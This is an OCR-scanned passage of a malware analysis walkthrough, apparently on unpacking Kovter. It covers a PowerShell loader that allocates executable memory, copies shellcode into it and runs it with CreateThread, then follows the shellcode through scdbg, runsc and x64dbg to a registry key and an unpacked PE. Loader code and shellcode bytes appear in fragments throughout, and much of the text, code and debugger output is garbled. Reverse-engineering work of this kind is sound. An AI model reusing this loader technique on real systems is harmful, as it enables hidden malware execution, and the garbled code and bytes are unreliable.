§SystemAssemb AppDomain CurrentDomain.GetAssemblies() Where-Object{i_.GlobalAssemblyCache f_.Location.Split("\") -1 .Equ
trmlthJ
22 afeNativeMeth s=§SystemAssembly. GetType("Microsoft.wWin32.UnsafeNativeMethods™);
23 -}Lﬂeu smjv
24 return 3UnsafeNativeMethods.GetMethod("GetProcAddress™). Invoke(3n @([System.Runtime. InteropServices.Hand]leRef] (New-Object Syste
5 noucdkx\,ﬂc
26 5sc32 0x55 OxBB OxEC Ox81 OxC4 Ox00 OxFA OxFF OxFF Ox53 0x56 <#mgg#>0x57 Ox53 Ox56 Ox57 OxFC 0x31 OxD2 Ox64 Ox8B 0x52 0
-uTbkt\T
stem.Runtime. InteropServices.Marshal GetDelegateForFunctionPointer({gproc kernel32.d11 VirtualAlloc), (gdelegate @([IntPt
9 n1)qk\cJ1
) FiF(Spr 0) {Smemset=([System.Runtime. InteropServices.Marshal GetDelegateForFunctionPointer ((gproc msvcrt.d11 memset), (gdelegat
1 #jtvzyetm
for (51=0;%1 (Ssc32.Length-1); $i++) {Smemset.Invoke((Spr+5i), S$sc32[8i 1}
#qimx
([System.Runtime. InteropServices.Marshal GetDelegateForFunctionPointer ((gproc kernel32.d11 CreateThread), (gdelegate @([IntPt

#mgujhdqtk

and at line 28 we see a VirtualAlloc invoked to allocate the length of sc32 with 0x40
(READ_WRITE_EXECUTE).
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powershell_scrps1 X
26 |57 ,0xFC,0x31,0xD2.0x64,0x8B,0x52,0x30,0x88,0x52,.0x0C,0x8B.0x52,0x14,0x88,0x72.0x28,0x6A,0x18,0x59.0x31,0xFF,0x31,0xC0O

virtualAlloc) (gdelegate @( IntPtr UInt32 uInt32 UInt32 ') (uInt32)))) Invoke(0 $s5c32 Length 0x3000 0x40);

NN

9

and if we take a look at line 32 and 34 we see that it copies the bytes from sc32 to some memory pointer then calls

CreateThread to execute that region of memory.

31 | #jtvzyetm
32 for_‘ (%1-0; 54 ($sc32 Length 1);%i+:) {Smemset Invoke(($pr $i). $sc321%i ., 1)};|

33
34  CreateThread) (gdelegate @( IntPtr  UInt32  [UInt32  UInt32 UInt32 IntPtr ) ( IntPtr )))) Invoke(0 0 $pr $pr

35
So, what we can conclude from this basic analysis?

1. this powershell script is just another loading stage to load and execute the shellcode in sc32 (the name also
tells us that this is a shellcode [shellcode32]).

let’s dump this shellcode and analyse it, don’t go too far, we can also use powershell_ise to extract this shellcode.
first we need to put a breakpoint in the line after sc32 variable (rigth-click and toggle breakpoint).

run the script (it will break after 15 seconds because at the beginning of the script it sleeps). after you hit the

breakpoint type this in the bottom console.

[io.file]::WriteAl1Bytes('shellcode.bin',$sc32)

Shellcode AnalysisPermalink

and now we have our shellcode set and ready for analysis. let’s start analysing from SCDbg tool.
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@ :cDbg - libemu Shellcode Logger Launch Interface — a X
Shellcode file  |C:\Users\Public\shellcode. bin ml
Options .
[ Report Mode [ Scan for Api table [ Unlimited steps [~ FindSc [ Start Offset Ox Example
[ Create Dump [ Use Interactive Hooks [~ Debug Shell
[~ NoRwDisplay [~ Monitor DLL Read/Wite More
[ Process Command Line |
| fopen |
™ Manual Arguments | v Launch
55 8B EC 81 C4 00 FA FF FF 53 5¢& 57 53 56 57 FC TeewnwsnSVASVH. A
31 D2 &4 8B 52 30 5B 52 OC 8B 52 14 BB 72 28 &A l.d.R0O.R..R..x(]
18 59 31 FF 31 C0 AC 3C €1 7C 02 2C 20 C1 CF 0D Y1.1 al.,
30 01 C7 E2 FO 81 FF SB BC 4R 6RA 8B SA 10 8B 12 75  ..ssas [-J7.2... u
000040 DB 89 5D FC S5F SE 5B 8B 45 FC 89 45 D4 8B 45 D4 l._*[.E..E..E
000050 66 21 38 4D 5A | ] 02 00 00 8B 45 FC 33 D2 f.8MZ E.3
000060 52 50 8B 45 D4 99 03 04 24 13 54 24 04 RP.E..@ S.TS
000070 83 C4 08 89 45 DO 81 38 50 45 00 00 OF vessEu.E..8PE...
25 E5 01 00 00 5B 40 78 03 45 FC 89 45  ...... E..@x.E..E
ak=lv CC 8B 45 , 8B CO OF 01 00 00 40 I R @
0RO B9 85 3C FF FF 38 45 D2 52 50 8B .ot 3..E.3.RP
OBO 45 CC 8B 40 20 S50 88 Cé C1 EO 02 99 03 E..B.3.RP.......
OCO 04 24 13 54 24 ( 08 03 04 24 13 54 24 04 Y - -~ .15
00DQ 83 C4 08 8B 08 ( C 81 39 4C &F €1 €4 75 5¢ veseesM..9LoaduVv
Q0EQ 8D 41 04 81 38 4C 69 62 72 75 4B 8D 41 08 81 38 8LibruK.A..8
0000FQ €l 72 79 41 75 40 8D 41 OC 80 38 00 75 38 8B 45 aryARu@.A..8.us.E
000100 CC 8B 40 24 03 45 FC 33 D2 52 50 8B Ce 03 CO 99 .85.E.3.RP.....
000110 03 04 24 13 54 24 04 83 C4 08 66 8B 00 8B 55 CC ce2. TS f 0]
000120 BB 52 1C 03 55 FC OF B7 C0O C1 EO 02 03 DD 8B 02 < 1
000130 03 45 FC 89 45 BC 81 39 47 €5 74 50 75 5¢ 8D 41 .E..E..9%etPuVvV.A
v

click launch and observe the output.

IGEGEGEEE N T Fron 11le C:\Users\Public\SHELLC~1.BIN
Initializati '

ax

Using

4012cf

401485 F\l—'ﬂl +pa—-r"||\m_;h\m HI\LI‘""-.__
40154d Regt bpt—'r“llv—ﬂ,rL\mHM||.__
4015ed4 Exi1tProce C

Stepc

nothing intersting, we can see that it only open some registry keys (which are not presented because this shellcode
is not loaded in memory so it can determine strings based on his address) and thats it, we have to dynamically

analyse it in order to know what it is essentially doing.

let’s use runsc tool.
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f shellcode.bin

file: shellcode.bin

[*]

[*] size of shellcode

bytes

[*] what to do now.
Shellcode addr
Shellcode threa (currently suspended)
-bit debu ;

thi ng the debugger.
oint on E
to this win

to the debu

Attach to
t a breakg
vitch bac

tch bac

shown above (e.g. bp <addr>).
r to 1 me the shellcode thr
will be stopped on the first

any

program truction.

and the

as we see in the console, we need to open XDBG and attach runsc process then put a breakpoint on the

shellcode’s address.

after you put the breakpoint, go back to the runsc window and click any key once or twice untill you hit the
breakpoint in XDBG.

Bouv Boen Log UNotes @ Breakpoints ™ MemoryMap () Call Stack =@ SEH saipt ] symbols <> Source References #Threads ) Snowman @ Handes  §7 Trace
55 push ebp ~| Hide FPU
C [ 8B EC mov ebp,esp
o0 81 C4 00 FA FF|ladd esp,FFFFFAQ0 EAX 6CACB40F
e 0 53 push ebx EBX 00730000
o0 56 push esi ECX 00730000
L 57 push edi EDX 00730000
° 53 push ebx EBP  OOF8F964
o 56 push esi ESP  OOF8F954
- 31 g‘f;h edi ESI 00730000
o 31 D2 xor edx,edx EDI 00730000
o OC 64 88 52 30 mov edx,dword ptr :[edx+30]
e 0 8B 52 0C mov edx,dword ptr E:[edx c] EIP 00730000
@ 0( 88 52 14 mov edx,dword ptr ds:[edx:14]
o OC 88 72 28 mov esi,dword ptr ds:[edx:28] EFLAGS 00000344
o OC 6A 18 push 18 ZF 1 PF 1 AF O
o 0 59 pop ecx OF 0 SF 0 DF O
o 0 31 FF xor edi,edi CFO TF 1 IF 1
o OC 31 co Xxor eax,eax
& OC AC Todsb . LastError 00000057 (ERROR_INVALID_PARAMETER
e 0 % g% ("1“‘)7';(1)6‘31) 61:"a LastStatus C000000D (STATUS_INVALID_PARAMETE
o 0 ]
o oo Rt = "7 5 v Default (stdcall) v |[5 2] unlocked
— 1: [esp+4] 00730000
ebp=00F8F964 2: [esp+8] 76468630 <kernel32.BaseThreadInit]
3: [esp+C] 6CACBAOF
........ 4: Tesni101 O00FRF9AC
Woump1  W4Dump2  MDump3  WHDump4  Dumps @ Wakch1  I-llocs ) Stuct Sg;ggg return to kernel32.76468654 from 77?7 2
Addres| Hex 1~] 00 i
77AC101C 00 1E 0000 DE AC 77 [28 00 2A : gg:gggkerne132.BaseThreadIn1tThunk
77AC10 34 00 36 00/9C DD AC 77 |1E 00 20 rdloorseg
77AC10 1A 00 1C 00|60 DD AC 77 |18 00 1A 2729
77AC10 20 00 22 00|20 DD AC 77 |30 00 32 : Saggga return to ntd11.77B24A77 from 777
77AC102C 00 2e 00 |BC DC AC 77 |20 00 22 9| 1BAESE
77AC1018 00 1A 00 7C AC 7710 00 12 9| ooo00d
77AC1022 00 24 00|CO 95 AC /7 |18 00 00 (*_|§. 3+ 9| 000000
77AC1004 18 AC 77|40 00 00 00|00 00 00 | |l anv5nn v

77AC10 2A 00

Command:

E4 95 AC 77 .08 00

Default

>

we are now in the shellcode code!.

from our previous analysis we see that this sample calls RegOpenKeyExA but take a note that if you do a bp

RegOpenKeyExA the breakpoint wont trigger because this function is actually loaded from advapi32.dll

so type the following in the XDBG console:

bp advapi32.RegOpenKeyExA
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run.

and YES! we hit it, and as we see from the

/4FAFC12
74FAFC13
74FAFC15
74FAFC16
74FAFC1C
74FAFC1D
7AFAFC1E
74AFAFC1F
74AFAFC20
74FAFC21
74FAFC22
74FAFC23
74FAFC24
74FAFC25
74FAFC26
74FAFC27
74FAFC28
74FAFC29
74FAFC2ZA
74FAFC2B
71FAFC£C

1 [es +4
esp+8

3:

<advapi32

https://ryOdan.github.io/malware%20analysis /unpacking-kovter-malware/

8B FF mov edi,edi RegOpenKeyEXxA
55 push ebp
8B EC mov ebp,esp
5D pop ebp
~ FF 25 44 B3 FF ]-paduord ptr ds:[<&RegOpenKeyExA>] RegOpenKeyE xA
CcC
(e int3
cC int3
cC int3
CC int3
CcC int3
CcC int3
CcC int3
CcC int3
CcC int3
cC int3
cC int3
CcC int3
CC int3
CcC int3
CcC int3
CcC 1nt3

80000002
007 30A48
[esp+C] 00000000

stdcall window, we know the key it opens.

| —

"software\\gxyhwinsg"

4- [esps101 0OOOOOOCOT

let’s get back to user code, if we scrolled down a little we can see a call to RegQueryValueExA (makes sense

because we called RegOpenKeyExA) and VirtualAlloc.

007304A5 83 CO 41 add eax,41 eax: software\\gxyhwinsg”
007304A8 50 push eax eax: software\\gxth1nsg
007304A9 8B 85 70 FF FF mov eax,dword ptr ss:|]
007 304AF 50 push eax eax: "software\\gxvhwinsg"
FF 55 AC call dword ptr ss: [ebﬂ[ebp—54 RegQueryValueE
007304B3 85 CO test_eax,eax eax: softwarex \gxyhw g
007 304B5 ~ 75 5C jne 730513
007304B7 83 BD 60 FF FF cmp dword ptr ss:[ebp-|(64:°d"
| pomeend 007 304BE ~ 76 53 jbe 730513
i 007304C0 6A 40 push 40
i 007304C2 68 00 30 00 00 push 3000
! 007304C7 8B 85 60 FF FF mov eax,dword ptr ss:|[
i 007304CD 50 push eax eax: "software\\gxyhwinsg”
i 007 304CE 6A 00 push 0
: 007304D0 FF 55 A8 €all dword ptr ss:[lebp| [ebp-58]:{virtualalloc]
; 007304D3 89 85 64 FF FF mov dword ptr ss: [ebp—
; 007304D9 83 BD 64 FF FF cmp dword ptr ss:|[ebp-
P 007 304E0 v 74 31 e 730513
i 007304E2 8D 85 60 FF FFiea eax,dword ptr ss:|
i 007304E8 50 push eax eax: "software\\gxyhwinsg"
007304E9 8B 85 64 FF FF mov eax,dword ptr ss:[
007 304EF 50 push eax ) ax:"software\\gxyhwinsg”

let’s put a breakpoint on VirtualAlloc and watch the memory that it allocates (the return memory address is in

EAX).

¥4 Dump 4

% Dump 5

@ watth1  Ix<llocals 4 Struct

11

_l add byte ptr ds:[eax],al (User Code) i

run again and observe how this memory region changes.
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& cru Graph | 7log  [iNotes  ® Breakpoints ™ MemoryMap [ CalStack S@SEH  |o Saipt Symbols Source /' References W Threads </ Snowman Handes ¢ Trace
] @ @ < - ] & i
8B FF mov_edi,edi VirtualATToc ~| Hide FPU
76466872 55 push ebp
76466873 8B EC mov ebp,esp EAX 0006CC54
76466875 5D op ebp ) i EBX 00000000
76466876 <kernel32| ~ FF 25 0C 12 4C|jmp dword ptr ds:[<&VirtualAllocivirtualAlloc ECX OOF8F850
7646687C cc nt3 EDX 000000A5 ¥
7646687D cc nt3
7646687E cc nt3 A0 R
ESP  00F8F330
7646687 F cC nt3 At
ESI 00000100 L'A
76466880 cc nt3 EDI 00000000
76466881 cC nt3
Zg:gggg% EE ::g EIP 76466870 <kernel32.virtualAlloc>
7
VioAnhERS = A5 EFLAGS 00000344
76466886 cC nt3 ZF 1 PF 1 AF O
76466887 cc nt3 OF 0 SF 0 DF O
76466888 cc nt3 CFO TF 1 IF 1
76466889 cc nt3
7646688A cc nt3 LastError 00000057 (ERROR_INVALID_PARAMETER
;gzggggg Eg ng LastStatus 00000000 (STATUS_SUCCESS) |
n
P - e , | Defaut stdcal) v [5_2] 0] urlocked
- 1: [esp+4] 00000000
edis0) 2 esp+8] 0006CC54
2 Fe2igh *0000004
- 4- lesn+l 40
Woumpl  Woup2  Woump3  GHoumps  Whoumps @B wathi  lelois ) Stuct 730€return to 0073068A from 777 2

>

!EE!!%IEE T

00F900C6 A3 51 82 |EA F2 B4 D4 |2C F9 OC CE |08 6F 52 96 kfQ.eo O0,u.T.0R.
00F900 68 38 74 B7 |[AB 95 89 9C C9 73 3C C1(96 2D 18 E1 k8t-".._Es<A.-.a
00F90045 7A 42 44 |DA CF BB B6 DA 71 95 22 |EC 4C 1F CO EZBDUI»70q. "1L.A
00F900D5 6C 41 E6 |48 CF 59 EC BC 68 34 4F 6F 8E 34 6C OlA2HIY1%h400.41
00F900 90 DA 21 B5|95 33 33 1F |01 B2 27 0C 5B C6 FA EE L01p.33..27  [AG7
00F900 79 24 35 38 85 52 85 4F |31 AD 19 0B 63 1F 90 B8 5358.R.01...C.4.
00F900 DA F4 9D C5 65 AL F4 F3 DO 58 8B 5B A0 8B 00 56 0.AejooDX. [ ..V 3
00F900 50 A2 9R RF |04 40 32 FFI8F FR D7 09|28 76 RD OC P(,¥,A7h,ﬁx,(v¥7, M e B e )
<

we hit another VirtualAlloc and our memory was filled with some random data. follow the second VirtualAlloc’s

return address in dump and run.

@oumpt  @oump2 YWoump3 @hoump4  @oumps @D watch1  I=llocals 5 Struct

Address Hex ASCII .\
01000000 4D 5A 50 00|02 00 00 00|04 00 OF 00 |FF FF 00 00 MZP. ... ..... YY- -

01000010 B8 00 00 00|00 00 00 00|40 00 1A 00|00 00 00 OO0 | ....... [ oot toce

01000020 00 00 00 00|00 00 00 00 00 00 00 00|00 00 |iﬁ( dword ptr ds:[eax] (User Code,‘-h ......

01000030 00 00 00 00 00 00 00 00|00 00 00 00|00 01 OO0 |- -------cececan-

01000040 BA 10 00 OE |1F B4 09 CD |21 B8 01 4C |CD 21 90 90 LR i I I &

01000050 54 68 69 73(20 70 72 6F (67 72 61 6D |20 6D 75 73 This program mus

01000060 74 20 62 65|20 72 75 6E (20 75 6E 64 (65 72 20 57 t be run under w

01000070 69 6E 33 32 |0D OA 24 37 00 00 00 00|00 00 00 00 in32..%7........

01000080 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 |. .. ... . ccoco----

01000090 00 00 00 00|00 00 00 00|00 OO0 00 00|00 00 00 00 |.c.uceomomnnannn.

010000A0 00 00 00 00 00 00 00 00|00 00 00 00|00 00 00 00 |..cuiuoucnnunnn.

01000080 00 00 00 00|00 00 O0 00 OO0 OO0 00 00 (00 00 00 00 | ... iceeannnn-

010000C0O 00 00 00 00 00 00 00 00 00 00 00 00|00 00 00 00 |......iuiuneunnn.

01000000 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 |.. ..o cuiuoannn.

010000E0 00 00 00 00|00 00 00 00 |00 00 00 00|00 00 00 00 |................ v
< >

»

WHAT A LONG JOURNEY!!
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